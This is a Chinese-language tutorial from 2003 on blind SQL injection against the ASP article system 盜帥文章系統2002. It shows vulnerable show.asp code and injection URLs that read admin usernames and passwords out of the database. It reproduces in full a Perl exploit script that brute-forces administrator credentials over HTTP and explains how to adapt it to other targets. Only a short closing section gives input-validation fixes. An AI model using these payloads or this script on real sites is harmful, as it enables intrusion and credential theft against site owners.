最近沒有事做。幫朋友看看站點的安全性,這個站點是使用的是盜帥文章系統2002特別版,這是最新的版本了吧,現在是2003年7月了,我不知道還有怎么樣的漏洞,先去找一個來研究一下代碼還有熟悉一下數據庫的結構。看到show.asp這個文件的時候發現這里:
Set rs = Server.CreateObject("ADODB.Recordset") sql="SELECT * FROM article where id="&id rs.OPEN sql, Conn,1,3 if rs.eof then article="沒有該文章" else
再看看
這些被引用的文件中,沒有一個是對提交的數據做了檢查的。果然有漏洞。最主要是沒有禁止空格(僅禁止空格是不夠的,這里是相對這個程序而言),這樣就可以進行跨表查詢了,顧名思義,就是提交精心構造的語句查詢其他表里面的數據。這個show.asp的id沒有檢查就放進查詢語句,查詢的表是article,我們通過提交子查詢語句來查詢admin里面的用戶名和密碼。這樣就是跨表查詢了。也是Sql Injection的一種,最近學習Web安全上癮,寫篇文章來鞏固一下。本文涉及知識點比較多,難免亂,寫得不好請見諒。如果發現有錯漏的地方希望能和我聯系、交流。感激不盡。
注意:在實際中,瀏覽器會自動把地址欄中的空格轉換為%20,以下所有提交的語句中包含的%20我已經全部處理掉,這樣大家看得更加清楚。
跨表查詢的是通過什么來判斷呢?通過提交的等式、不等式看返回的頁面。比如在提交:
http:// 127.0.0.1/show.asp?id=1 and 1=1 http:// 127.0.0.1/show.asp?id=1 and 1=2
看到后面的1=1、1=2就是一個關鍵,前者值為真、后者值為假。如果漏洞存在,一般返回的兩個不同的頁面或者不同的錯誤信息。拿具體的來說就是剛才我們看的盜帥文章系統2002特別版。當我們提交第一句的時候文章正常顯示,提交第二句的時候返回“沒有該文章”,這樣我們就可以通過頁面的信息判斷我們提交的子查詢是否獲得正確信息。下面來看看這句SQL查詢語句。
select 字段 from 表 where 某標準,這句話的意思就是以某標準查詢在某表中的某字段, select min(id) from admin where len(admin)=5這句的意思可以這樣理解,以字段admin中長度為5的字符串為標準在admin表中查詢id字段中的最小值。我這樣解釋可能比較難理解,我是根據語句的解釋來解釋含義的,這里涉及的函數我們就不討論了,大家可以去翻翻專業的數據庫書籍。這句查詢語句是查詢id的,所以返回的就是id字段中的值,比如返回2,那么在剛才的
http://127.0.0.1/show.asp?id=1 and 1=(select min(id) from admin where len(admin)=5) 也相當于 http:// 127.0.0.1/show.asp?id=1 and 1=2 返回“沒有該文章”,因此為假值,當我們提交 http://127.0.0.1/show.asp?id=1 and 2=(select min(id) from admin where len(admin)=5)
正常顯示文章,說明id后跟的是等式,所以我們要查詢的最小id字段中的值是2。下面我把所提交的語句得到真值的結果全部寫出來,大家結合上面的理論很容易就可以理解了。為了容易看,我把瀏覽器所產生的都去掉了。
http://127.0.0.1/show.asp?id=1 and 1=(select min(id) from admin where qx=2) --獲得管理員權限的最小id值為1, http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where len(admin)=5) --獲得id為1的管理員的用戶名長度為5, http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where len(pass)=5) --獲得id為1的管理員的密碼長度為5, http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where left(admin,5)= admin) --獲得id為1的管理員從左邊數起的5位用戶名為admin, http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where left(pass,5)= admin) --獲得id為1的管理員從左邊數起的5位密碼為admin,
注意:如果在left(pass,1)=后面是數字,那么要把數字用單引號包含起來,例: left(pass,1)= ‘1’ 否則程序會出錯。
制作Exploit
這樣就可以知道管理員的用戶名和密碼了。但是實際中,沒有哪個安全意識高的管理員的密碼是8位以下的。用戶名也一樣。如果我們真的靠手工提交語句。那我們真的要等到老了。我們的網費不允許啊……所以我們要做一個Exploit來為我們完成瑣屑的工作。這方面的Exploit當然用Perl寫比較好了。但我們這種菜鳥不會寫怎么辦?活學活用。修改別人的。下面我們來分析一下由wawa寫的Crack user&pass for DV_article system。感謝wawa。
#!/usr/bin/perl #The script Crack user&pass for DV_article system #Code by wawa@21cn.com #Grouppage Http://www.Haowawa.com/ #Homepage Http://wawa.Haowawa.com/
use IO::Socket;
system('cls'); $ARGC = @ARGV; if ($ARGC != 4) { print "\n\n"; print "\t* The script Crack user&pass for DV_article system *\n"; print "\n\t Welcom to www.Haowawa.com && wawa.haowawa.com\n"; print "\n\tExample: dvTxt.pl 127.0.0.1 /txt/list.asp 53 \"沒有找到相關文章\"\n"; print "\t dvTxt.pl \n\n\n"; exit; }
$host = @ARGV[0]; $way = @ARGV[1]; $txtid = @ARGV[2]; $errinfo =@ARGV[3]; $port = 80;
print "\n\t* Welcom to http://www.Haowawa.com && http://wawa.haowawa.com *\n"; print "\n\n開始在 $host 上進行測試,請等待......\n";
for ($adminid=1;$adminid<=100;$adminid++) { $way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20flag=1)";
&url;@res = &connect;
#print @res;
if ("@res" !~ /$errinfo/) { print "\n\t* 發現一管理員ID號為: $adminid \n"; last; } }
for ($passlen=1;$passlen<=10;$passlen++) { $way1 = "?id=$txtid%20AND%20$passlen=(select%20len(password)%20from%20admin%20where%20id=$adminid)";
&url;@res = &connect;
if ("@res" !~ /$errinfo/) { print "\n\t* 發現ID=$adminid的管理員的密碼長度為: $passlen 位\n"; last; } }
for ($userlen=1;$userlen<=20;$userlen++) { $way1 = "?id=$txtid%20AND%20$userlen=(select%20len(username)%20from%20admin%20where%20id=$adminid)";
&url;@res = &connect;
if ("@res" !~ /$errinfo/) { print "\n\t* 發現ID=$adminid的管理員的用戶名長度為: $userlen 位\n"; last; } }
@dig=(0..9); @char=(a..z); @tchar=qw(` ~ ! + @ # $ ^ * \( \) _ = - { } [ ] : " ; < > ? | , . / \\); @dic=(@dig,@char,@tchar); @dic1=(@char,@dig,@tchar);
print "\n開始嘗試獲取ID=$adminid的管理員的用戶名及密碼,請等待......\n";
for ($userlocat=1;$userlocat<=$userlen;$userlocat++) { foreach $usertemp(@dic1) { $user=$userdic.$usertemp;
$way1 = "?id=$txtid%20AND%20'$user'=(select%20mid(username,1,$userlocat)%20from%20admin%20where%20id=$adminid)";
&url;@res = &connect;
if ("@res" !~ /$errinfo/) { if ($userlocat==$userlen){print "\n\n\t* 獲取成功!!! ID=$adminid的管理員名字是: $user\n";last;} print "\n\t* ID=$adminid的管理員名字的前 $userlocat 位為 $user"; $userdic=$userdic.$usertemp; last; } } }
for ($passlocat=1;$passlocat<=$passlen;$passlocat++) { foreach $passtemp(@dic) { $pass=$passdic.$passtemp;
$way1 = "?id=$txtid%20AND%20'$pass'=(select%20mid(password,1,$passlocat)%20from%20admin%20where%20id=$adminid)";
&url;@res = &connect;
if ("@res" !~ /$errinfo/) { if ($passlocat==$passlen){print "\n\n\t* 獲取成功!!! ID=$adminid的管理員密碼是: $pass";last;} print "\n\t* ID=$adminid的管理員密碼的前 $passlocat 位為 $pass"; $passdic=$passdic.$passtemp; last; } } }
print "\n\n\n\t* 測試完畢. 獲取到一個用戶名為$user密碼為$pass的管理員權限! *\n"; print "\n\n\n"; #system('pause');
sub url { $req = "GET $way$way1 HTTP/1.0\n". "Host: $host\n". "Referer: $host\n". "Cookie: \n\n"; }
sub connect { my $connection = IO::Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) die "Sorry! Could not connect to $host \n";
print $connection $req; my @res = <$connection>; close $connection; return @res; }
其實這類腳本都是差不多一個道理,利用某一個文件的漏洞來進行跨表查詢的操作。盡管你看不懂大多數代碼,但剛才我們不是學習了那個SQL查詢語句嗎?我們就可以依葫蘆畫瓢把這個針對動網的Exploit改為針對盜帥文章的了,想改成什么的都可以啊。看這句:
for ($adminid=1;$adminid<=100;$adminid++) { $way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20flag=1)";
上面的$adminid變量是定義管理員id的取值范圍1-100,$后面的都是變量。不用去改。(select%20min(id)%20from%20admin%20where%20flag=1)這里就是我們要改的查詢語句。動網的admin表里面的flag字段等于1的是管理員,而盜帥的是字段qx等于2的是管理員。我們就可以把flag=1改為qx=2,from%20admin里面意思是從admin里查詢。盜帥的和動網一樣。我們就不用改了。改完后的代碼如下:
for ($adminid=1;$adminid<=100;$adminid++) { $way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20qx=2)";
再看這句:
for ($passlen=1;$passlen<=10;$passlen++) { $way1 = "?id=$txtid%20AND%20$passlen=(select%20len(password)%20from%20admin%20where%20id=$adminid)";
上面是$passlen變量也是定義取值范圍,也是密碼長度。動網的存放密碼的字段是password,盜帥的是pass,所以我們要把password改為pass,改完后就是這樣:
for ($passlen=1;$passlen<=50;$passlen++) { $way1 = "?id=$txtid%20AND%20$passlen=(select%20len(pass)%20from%20admin%20where%20id=$adminid)";
由于盜帥的密碼最大長度是50,所以我們也不得不把$passlen的最大值改為50(好變態哦),
其他的地方大家應該會改了吧?都是依葫蘆畫瓢的,只要表名、字段名、數據長度對就可以了。但是真的要寫出好的Exploit,還得下大力氣精通那些編程語言。畢竟這是修改別人的嘛……
解決辦法
上面說了那么多攻擊方法,下面說說出現這類漏洞如何解決。因為是沒有檢查提交的變量。那我們就要加一些代碼來檢查一下。把下面的短短代碼加入到查詢語句的前面。這樣就會先檢查提交的變量,才放到SQL查詢語句中。
dim idid idid=replace(request("id")," ","") if isnumeric(idid)=0 or idid="" then response.write "禁止提交非法語句!" response.end end if
注意,這里聲明了一個idid變量,用來檢查id,所以后面的查詢語句中的id要改為idid,這樣不管別人是提交單引號、分號還是and 1=1、and 1=2都是顯示“禁止提交非法語句!”這樣誰還能判斷真假啊?這里也給廣大ASP開發人員提個醒,凡是放到SQL查詢語句的變量都要經過嚴格檢查,禁止一切特殊字符。安全的程序,用戶用得也安心。還有另一種方法,看下面這段代碼:
Function isInt(str) Dim L,I isInt=False If Trim(Str)="" Or IsNull(str) Then Exit Function str=CStr(Trim(str)) L=Len(Str) For I=1 To L If Mid(Str,I,1)>"9" Or Mid(Str,I,1)<"0" Then Exit Function Next isInt=True End Function
Function CheckStr(Str) If Trim(Str)="" Or IsNull(str) Then Exit Function Checkstr=Replace(Trim(Str),"'","''") End Function
Dim id id=CheckStr(Request.QueryString("id")) If isInt(ID)=False Then Response.Redirect "index.asp" End If
這里寫了兩個Function過程來判斷數字是否整形,還有檢查一些非法字符。如果有則跳回index.asp這個頁面。其實也和上面的一樣,上面是給出錯誤信息。第二種方法是跳轉頁面。大家可以試試。多掌握一種方法也不是壞事啊。方法是多種多樣的,還有不少沒有舉例。大家自己去探索吧。
如果實在不會改,還有一個下策就是使用中文用戶名。中國的文字有多少?大家自己看看吧。還有,提交中文的語句,大家也可以看看有什么有趣的提示。也不失為一個好辦法。呵呵。
|